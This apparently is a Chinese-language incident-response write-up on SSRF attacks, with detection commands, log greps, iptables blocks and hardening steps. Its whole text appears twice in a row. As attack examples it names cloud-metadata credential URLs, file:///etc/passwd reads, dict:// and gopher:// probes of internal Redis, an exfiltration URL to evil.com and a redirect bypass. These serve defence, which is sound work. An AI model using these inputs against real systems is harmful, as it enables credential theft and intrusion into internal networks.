兄弟们今天咱们来盘一个极其隐蔽但杀伤力巨大的漏洞——SSRF服务端请求伪造。很多研发觉得“这功能就是让用户填个URL我去请求一下能有多大危害”危害大了去了一旦SSRF成功你的服务器就成了黑客攻击内网的跳板甚至在云环境下能直接把云平台的临时凭证偷走导致整个云账号被接管。处置SSRF先把四条红线刻在脑子里严禁执行以下操作不要忽略云元数据访问在云环境阿里云、腾讯云、AWS等里SSRF最致命的就是打元数据地址169.254.169.254能直接拿到实例的临时AK/SK这比普通SSRF危险一万倍。不要只封一个外连目标黑客在测试SSRF时可能会先请求自己的VPS你封了这个IP他换个域名或者用DNS Rebinding继续打治标不治本。不要在没有确认功能用途时直接禁用相关参数比如图片预览、文件下载、Webhook回调这些功能确实需要服务端发请求直接一刀切禁用参数会导致业务中断。不要忽略内网探测痕迹发现SSRF别光盯着外网黑客大概率已经在用你的服务器扫内网网段了内网被摸透了比丢个外网IP严重得多。处置总原则“先确认SSRF入口与可达范围再阻断内网/元数据访问先查利用痕迹再修复代码”。一、 正确开局先搞清楚SSRF能打到哪接到告警或者发现服务器有异常外连第一件事是确认SSRF的入口和可达范围。找入口哪些功能会发起服务端请求常见的有URL参数预览如?urlhttp://...、文件下载/图片代理、在线翻译、回调通知Webhook、导入导出通过URL拉取文件。确认可达范围这个入口发出去的请求能不能访问内网IP10.x.x.x,192.168.x.x能不能访问本地回环127.0.0.1能不能访问云元数据地址169.254.169.254按“入口功能 → 请求目标 → 利用影响”三层往下收敛明确区分三类情况普通SSRF只能访问公网其他IP危害相对较小主要用于探测端口或作为跳板。高危SSRF能访问内网甚至能访问云元数据地址获取凭证。已利用SSRF内网服务已经被探测或者元数据凭证已经被窃取甚至内网Redis/ES已经被打通。二、 排查主链路可复制的命令和操作别靠猜靠日志和系统命令。以下是排查主链路的标准动作1. 查服务端发起的异常外连找异常目标IP和端口# 查看当前应用进程假设PID是1234建立的所有网络连接ss-antp|grep1234# 或者用lsof看所有Java/Python进程的外连lsof-i-nP|grep-Ejava|python|grepESTABLISHED现象对应如果看到应用进程连接了奇怪的公网IP黑客VPS或者连接了内网的其他IP如10.0.0.5:6379说明SSRF正在被利用或探测。2. 查云元数据访问记录抓凭证获取痕迹# 抓包看有没有请求元数据地址169.254.169.254tcpdump-iany-nhost169.254.169.254-c50# 查iptables日志如果之前配了DROP并记录日志dmesg|grep-i169.254.169.254现象对应如果抓到大量对169.254.169.254的请求特别是带有/latest/meta-data/iam/security-credentials/路径的立刻拉响最高级别警报凭证大概率已经被偷了。3. 查Web访问日志找SSRF入口和探测痕迹# 查URL参数里带内网IP、127.0.0.1或元数据地址的请求grep-iE169\.254\.169\.254|127\.0\.0\.1|10\.|172\.16\.|192\.168\.|localhost/var/log/nginx/access.log# 查使用了非HTTP协议file, dict, gopher的请求grep-iEfile://|dict://|gopher:///var/log/nginx/access.log现象对应如果看到?urlhttp://127.0.0.1:6379说明在探测本地Redis如果看到?urldict://10.0.0.5:6379说明在尝试用dict协议打内网Redis。4. 查攻击者利用的目标内网未授权服务# 去内网目标机器如Redis/ES查日志看有没有异常IP即你的Web服务器IP连进来# 比如查Redis日志tail-n100/var/log/redis/redis.log|grepAccept现象对应如果内网Redis日志里出现了Web服务器的IP说明SSRF已经成功打到了内网未授权服务。5. 确认凭证是否泄露查云API调用记录去云控制台如阿里云ActionTrail、AWS CloudTrail查最近几小时的API调用记录。现象对应如果看到大量非业务预期的API调用如创建ECS、下载OSS文件、查询账单且调用来源IP是云内网IP说明临时凭证已经泄露并被滥用。三、 高频现场逐个拆1. 云元数据攻击最危险场景现象URL参数传入http://169.254.169.254/latest/meta-data/页面回显了实例的IAM角色信息或临时AK/SK。检测命令tcpdump -i any -n host 169.254.169.254处理网络层阻断在服务器iptables直接DROP元数据地址的出站流量。iptables-AOUTPUT-d169.254.169.254-jDROP[!WARNING] 生产环境风险加iptables前先确认你的业务代码里有没有 legitimately 需要访问元数据的地方比如某些监控Agent。云控制台配置强制开启IMDSv2要求PUT请求带TokenSSRF通常只支持GET或者在云控制台直接关闭实例的元数据访问。2. 内网端口探测现象攻击者传入http://10.0.0.5:3306、http://10.0.0.5:6379通过响应时间或报错信息判断端口是否开放。检测命令查Web日志里的内网IP扫描特征。grep-oE10\.[0-9]\.[0-9]\.[0-9]:[0-9]/var/log/nginx/access.log|sort|uniq-c|sort-nr处理代码层做内网IP黑名单/白名单校验网络层通过安全组限制Web服务器只能访问必要的内网IP和端口。3. 本地文件读取现象参数传入file:///etc/passwd或file:///c:/windows/win.ini页面直接回显文件内容。检测命令grep -i file:// /var/log/nginx/access.log处理代码层禁用file://协议只允许http和https。4. 内网未授权服务被打现象SSRF结合dict://或gopher://协议向内网Redis写入SSH公钥或向内网ES写入WebShell。检测命令查内网目标机器的连接日志和系统日志如/root/.ssh/authorized_keys是否被篡改。处理内网服务必须加认证Redis设密码、ES开X-Pack代码层禁用dict、gopher等危险协议。5. 数据回传现象攻击者让服务端请求内网数据然后通过外连把数据传到自己的VPS上如http://evil.com/recv?data...。检测命令查防火墙或安全组的出站日志看Web服务器有没有向未知公网IP发送大量数据。处理收敛出站流量Web服务器只允许访问必要的公网API其他公网出站一律DROP。6. 重定向绕过现象代码里校验了URL必须是白名单域名但攻击者传入http://evil.com/redirect.php该页面302跳转到http://169.254.169.254/...服务端HTTP客户端自动跟随了重定向。检测命令查Web日志看请求的URL是合法域名但后端报错或行为异常。处理在HTTP客户端配置中禁用自动跟随重定向如Python的requests.get(url, allow_redirectsFalse)Java的HttpClient关闭重定向。7. 协议滥用现象除了HTTP/HTTPS攻击者使用file://、dict://、gopher://、ldap://等协议。处理代码层强制校验URL的Scheme只允许http和https其他一律拒绝。8. 内网可达但公网不通DNS Rebinding / 0.0.0.0现象攻击者传入http://0.0.0.0或者利用DNS重绑定第一次解析到公网IP绕过校验第二次解析到内网IP发起请求。处理校验URL时不仅要校验域名还要解析域名获取IP判断IP是否为内网地址禁用0.0.0.0、127.0.0.1等保留地址。四、 处置与修复分场景给策略第一档紧急阻断限制出站/封元数据立刻在服务器iptables或云安全组里阻断对169.254.169.254的访问。限制Web服务器的公网出站流量只放行必要的业务域名/IP其他全部DROP。第二档止血临时禁用入口如果确认了是哪个接口如/api/proxy_image且暂时不需要直接在网关或WAF层把这个URL路径封掉或者在代码里把请求功能临时注释掉。[!WARNING] 生产环境风险禁用前务必和业务方确认如果是核心链路如支付回调不能直接封只能加严格的WAF规则。第三档修复白名单校验协议白名单只允许http、https。域名/IP白名单只允许请求业务需要的特定域名或内网IP默认拒绝所有。禁用重定向HTTP客户端关闭自动跳转。修复后验证用http://127.0.0.1、http://169.254.169.254、file:///etc/passwd重新打一遍接口确认全部返回拒绝。如果凭证已经泄露立刻去云控制台吊销/轮换该实例绑定的RAM角色临时凭证。排查ActionTrail/CloudTrail日志确认黑客有没有用这些凭证干坏事如创建后门、删数据。五、 根因分析到底是怎么漏的SSRF的根因很明确用日志时间线代码一抓一个准URL参数无校验前端传什么URL后端就请求什么URL完全裸奔。服务端请求无协议和目标限制没限制Scheme没做内网IP黑名单/白名单。云元数据未隔离Web服务器和元数据地址在同一网络平面没有网络层隔离。出站流量无管控Web服务器可以随意访问公网任何IP导致数据回传或外联黑客VPS。重定向未处理HTTP客户端默认跟随重定向被302绕过。开发不了解SSRF危害觉得“这只是个图片预览功能能有多大问题”。定位责任拉出Web日志里SSRF请求的时间点去Git里查对应接口文件的最后修改人直接定位。六、 事后加固要点吃一堑长一智处置完必须做系统性加固URL白名单校验不仅校验域名还要解析IP校验防止DNS Rebinding。禁用危险协议代码层强制限制只允许http/https。云元数据网络隔离通过iptables或云安全组阻断Web服务器对169.254.169.254的访问强制开启IMDSv2。出站流量控制Web服务器所在的VPC/安全组出站规则只允许访问必要的公网IP和内部依赖的中间件IP默认Deny All。实例角色最小权限云实例绑定的RAM角色只给最小必要的权限千万别给AdministratorAccess。禁用重定向所有服务端发起的HTTP请求关闭自动跟随重定向。安全测试包含SSRF用例上线前用Burp Suite或Xray扫一遍重点测所有带URL参数的接口。异常外连监控告警在HIDS或云安全中心配置告警Web服务器出现异常外连特别是连元数据地址或未知公网IP立刻报警。七、 总结处置过程中高频踩坑最后盘点几个咱们在现场经常踩的坑大家引以为戒忽略云元数据攻击以为只是普通的SSRF结果黑客已经把云账号的AK偷走开始疯狂开矿了。只封一个目标不全面封了黑客的VPS IP没限制出站策略黑客换个域名继续外连。误禁用正常业务功能没搞清楚参数用途直接把回调通知的URL参数禁了导致第三方支付回调失败业务停摆。没查利用痕迹光顾着修代码没去查内网Redis和ES的日志结果内网早就被打通了还不知道。凭证泄露没轮换发现元数据被访问了只加了iptables没去云控制台轮换临时凭证黑客拿着缓存的凭证继续用。出站没管控Web服务器出站权限大开黑客用SSRF把内网数据源源不断往外传。内网可达没意识到以为SSRF只能打公网没意识到在云VPC里Web服务器天然能访问同VPC下的所有内网服务一打一个准。SSRF这个漏洞表面上看是代码没写好背后其实是网络架构和权限管控的缺失。把上面这套排查和处置流程跑熟下次遇到异常外连告警照着做把损失降到最低。觉得这篇复盘实用的话点个赞、收藏一下后续还会继续更新一线实战系列。有遇到过奇葩SSRF场景的兄弟欢迎评论区聊聊咱们一起交流 【实战复盘】SSRF服务端请求伪造攻击处置：内网探测、云元数据攻击与异常外连的排查修复
兄弟们今天咱们来盘一个极其隐蔽但杀伤力巨大的漏洞——SSRF服务端请求伪造。很多研发觉得“这功能就是让用户填个URL我去请求一下能有多大危害”危害大了去了一旦SSRF成功你的服务器就成了黑客攻击内网的跳板甚至在云环境下能直接把云平台的临时凭证偷走导致整个云账号被接管。处置SSRF先把四条红线刻在脑子里严禁执行以下操作不要忽略云元数据访问在云环境阿里云、腾讯云、AWS等里SSRF最致命的就是打元数据地址169.254.169.254能直接拿到实例的临时AK/SK这比普通SSRF危险一万倍。不要只封一个外连目标黑客在测试SSRF时可能会先请求自己的VPS你封了这个IP他换个域名或者用DNS Rebinding继续打治标不治本。不要在没有确认功能用途时直接禁用相关参数比如图片预览、文件下载、Webhook回调这些功能确实需要服务端发请求直接一刀切禁用参数会导致业务中断。不要忽略内网探测痕迹发现SSRF别光盯着外网黑客大概率已经在用你的服务器扫内网网段了内网被摸透了比丢个外网IP严重得多。处置总原则“先确认SSRF入口与可达范围再阻断内网/元数据访问先查利用痕迹再修复代码”。一、 正确开局先搞清楚SSRF能打到哪接到告警或者发现服务器有异常外连第一件事是确认SSRF的入口和可达范围。找入口哪些功能会发起服务端请求常见的有URL参数预览如?urlhttp://...、文件下载/图片代理、在线翻译、回调通知Webhook、导入导出通过URL拉取文件。确认可达范围这个入口发出去的请求能不能访问内网IP10.x.x.x,192.168.x.x能不能访问本地回环127.0.0.1能不能访问云元数据地址169.254.169.254按“入口功能 → 请求目标 → 利用影响”三层往下收敛明确区分三类情况普通SSRF只能访问公网其他IP危害相对较小主要用于探测端口或作为跳板。高危SSRF能访问内网甚至能访问云元数据地址获取凭证。已利用SSRF内网服务已经被探测或者元数据凭证已经被窃取甚至内网Redis/ES已经被打通。二、 排查主链路可复制的命令和操作别靠猜靠日志和系统命令。以下是排查主链路的标准动作1. 查服务端发起的异常外连找异常目标IP和端口# 查看当前应用进程假设PID是1234建立的所有网络连接ss-antp|grep1234# 或者用lsof看所有Java/Python进程的外连lsof-i-nP|grep-Ejava|python|grepESTABLISHED现象对应如果看到应用进程连接了奇怪的公网IP黑客VPS或者连接了内网的其他IP如10.0.0.5:6379说明SSRF正在被利用或探测。2. 查云元数据访问记录抓凭证获取痕迹# 抓包看有没有请求元数据地址169.254.169.254tcpdump-iany-nhost169.254.169.254-c50# 查iptables日志如果之前配了DROP并记录日志dmesg|grep-i169.254.169.254现象对应如果抓到大量对169.254.169.254的请求特别是带有/latest/meta-data/iam/security-credentials/路径的立刻拉响最高级别警报凭证大概率已经被偷了。3. 查Web访问日志找SSRF入口和探测痕迹# 查URL参数里带内网IP、127.0.0.1或元数据地址的请求grep-iE169\.254\.169\.254|127\.0\.0\.1|10\.|172\.16\.|192\.168\.|localhost/var/log/nginx/access.log# 查使用了非HTTP协议file, dict, gopher的请求grep-iEfile://|dict://|gopher:///var/log/nginx/access.log现象对应如果看到?urlhttp://127.0.0.1:6379说明在探测本地Redis如果看到?urldict://10.0.0.5:6379说明在尝试用dict协议打内网Redis。4. 查攻击者利用的目标内网未授权服务# 去内网目标机器如Redis/ES查日志看有没有异常IP即你的Web服务器IP连进来# 比如查Redis日志tail-n100/var/log/redis/redis.log|grepAccept现象对应如果内网Redis日志里出现了Web服务器的IP说明SSRF已经成功打到了内网未授权服务。5. 确认凭证是否泄露查云API调用记录去云控制台如阿里云ActionTrail、AWS CloudTrail查最近几小时的API调用记录。现象对应如果看到大量非业务预期的API调用如创建ECS、下载OSS文件、查询账单且调用来源IP是云内网IP说明临时凭证已经泄露并被滥用。三、 高频现场逐个拆1. 云元数据攻击最危险场景现象URL参数传入http://169.254.169.254/latest/meta-data/页面回显了实例的IAM角色信息或临时AK/SK。检测命令tcpdump -i any -n host 169.254.169.254处理网络层阻断在服务器iptables直接DROP元数据地址的出站流量。iptables-AOUTPUT-d169.254.169.254-jDROP[!WARNING] 生产环境风险加iptables前先确认你的业务代码里有没有 legitimately 需要访问元数据的地方比如某些监控Agent。云控制台配置强制开启IMDSv2要求PUT请求带TokenSSRF通常只支持GET或者在云控制台直接关闭实例的元数据访问。2. 内网端口探测现象攻击者传入http://10.0.0.5:3306、http://10.0.0.5:6379通过响应时间或报错信息判断端口是否开放。检测命令查Web日志里的内网IP扫描特征。grep-oE10\.[0-9]\.[0-9]\.[0-9]:[0-9]/var/log/nginx/access.log|sort|uniq-c|sort-nr处理代码层做内网IP黑名单/白名单校验网络层通过安全组限制Web服务器只能访问必要的内网IP和端口。3. 本地文件读取现象参数传入file:///etc/passwd或file:///c:/windows/win.ini页面直接回显文件内容。检测命令grep -i file:// /var/log/nginx/access.log处理代码层禁用file://协议只允许http和https。4. 内网未授权服务被打现象SSRF结合dict://或gopher://协议向内网Redis写入SSH公钥或向内网ES写入WebShell。检测命令查内网目标机器的连接日志和系统日志如/root/.ssh/authorized_keys是否被篡改。处理内网服务必须加认证Redis设密码、ES开X-Pack代码层禁用dict、gopher等危险协议。5. 数据回传现象攻击者让服务端请求内网数据然后通过外连把数据传到自己的VPS上如http://evil.com/recv?data...。检测命令查防火墙或安全组的出站日志看Web服务器有没有向未知公网IP发送大量数据。处理收敛出站流量Web服务器只允许访问必要的公网API其他公网出站一律DROP。6. 重定向绕过现象代码里校验了URL必须是白名单域名但攻击者传入http://evil.com/redirect.php该页面302跳转到http://169.254.169.254/...服务端HTTP客户端自动跟随了重定向。检测命令查Web日志看请求的URL是合法域名但后端报错或行为异常。处理在HTTP客户端配置中禁用自动跟随重定向如Python的requests.get(url, allow_redirectsFalse)Java的HttpClient关闭重定向。7. 协议滥用现象除了HTTP/HTTPS攻击者使用file://、dict://、gopher://、ldap://等协议。处理代码层强制校验URL的Scheme只允许http和https其他一律拒绝。8. 内网可达但公网不通DNS Rebinding / 0.0.0.0现象攻击者传入http://0.0.0.0或者利用DNS重绑定第一次解析到公网IP绕过校验第二次解析到内网IP发起请求。处理校验URL时不仅要校验域名还要解析域名获取IP判断IP是否为内网地址禁用0.0.0.0、127.0.0.1等保留地址。四、 处置与修复分场景给策略第一档紧急阻断限制出站/封元数据立刻在服务器iptables或云安全组里阻断对169.254.169.254的访问。限制Web服务器的公网出站流量只放行必要的业务域名/IP其他全部DROP。第二档止血临时禁用入口如果确认了是哪个接口如/api/proxy_image且暂时不需要直接在网关或WAF层把这个URL路径封掉或者在代码里把请求功能临时注释掉。[!WARNING] 生产环境风险禁用前务必和业务方确认如果是核心链路如支付回调不能直接封只能加严格的WAF规则。第三档修复白名单校验协议白名单只允许http、https。域名/IP白名单只允许请求业务需要的特定域名或内网IP默认拒绝所有。禁用重定向HTTP客户端关闭自动跳转。修复后验证用http://127.0.0.1、http://169.254.169.254、file:///etc/passwd重新打一遍接口确认全部返回拒绝。如果凭证已经泄露立刻去云控制台吊销/轮换该实例绑定的RAM角色临时凭证。排查ActionTrail/CloudTrail日志确认黑客有没有用这些凭证干坏事如创建后门、删数据。五、 根因分析到底是怎么漏的SSRF的根因很明确用日志时间线代码一抓一个准URL参数无校验前端传什么URL后端就请求什么URL完全裸奔。服务端请求无协议和目标限制没限制Scheme没做内网IP黑名单/白名单。云元数据未隔离Web服务器和元数据地址在同一网络平面没有网络层隔离。出站流量无管控Web服务器可以随意访问公网任何IP导致数据回传或外联黑客VPS。重定向未处理HTTP客户端默认跟随重定向被302绕过。开发不了解SSRF危害觉得“这只是个图片预览功能能有多大问题”。定位责任拉出Web日志里SSRF请求的时间点去Git里查对应接口文件的最后修改人直接定位。六、 事后加固要点吃一堑长一智处置完必须做系统性加固URL白名单校验不仅校验域名还要解析IP校验防止DNS Rebinding。禁用危险协议代码层强制限制只允许http/https。云元数据网络隔离通过iptables或云安全组阻断Web服务器对169.254.169.254的访问强制开启IMDSv2。出站流量控制Web服务器所在的VPC/安全组出站规则只允许访问必要的公网IP和内部依赖的中间件IP默认Deny All。实例角色最小权限云实例绑定的RAM角色只给最小必要的权限千万别给AdministratorAccess。禁用重定向所有服务端发起的HTTP请求关闭自动跟随重定向。安全测试包含SSRF用例上线前用Burp Suite或Xray扫一遍重点测所有带URL参数的接口。异常外连监控告警在HIDS或云安全中心配置告警Web服务器出现异常外连特别是连元数据地址或未知公网IP立刻报警。七、 总结处置过程中高频踩坑最后盘点几个咱们在现场经常踩的坑大家引以为戒忽略云元数据攻击以为只是普通的SSRF结果黑客已经把云账号的AK偷走开始疯狂开矿了。只封一个目标不全面封了黑客的VPS IP没限制出站策略黑客换个域名继续外连。误禁用正常业务功能没搞清楚参数用途直接把回调通知的URL参数禁了导致第三方支付回调失败业务停摆。没查利用痕迹光顾着修代码没去查内网Redis和ES的日志结果内网早就被打通了还不知道。凭证泄露没轮换发现元数据被访问了只加了iptables没去云控制台轮换临时凭证黑客拿着缓存的凭证继续用。出站没管控Web服务器出站权限大开黑客用SSRF把内网数据源源不断往外传。内网可达没意识到以为SSRF只能打公网没意识到在云VPC里Web服务器天然能访问同VPC下的所有内网服务一打一个准。SSRF这个漏洞表面上看是代码没写好背后其实是网络架构和权限管控的缺失。把上面这套排查和处置流程跑熟下次遇到异常外连告警照着做把损失降到最低。觉得这篇复盘实用的话点个赞、收藏一下后续还会继续更新一线实战系列。有遇到过奇葩SSRF场景的兄弟欢迎评论区聊聊咱们一起交流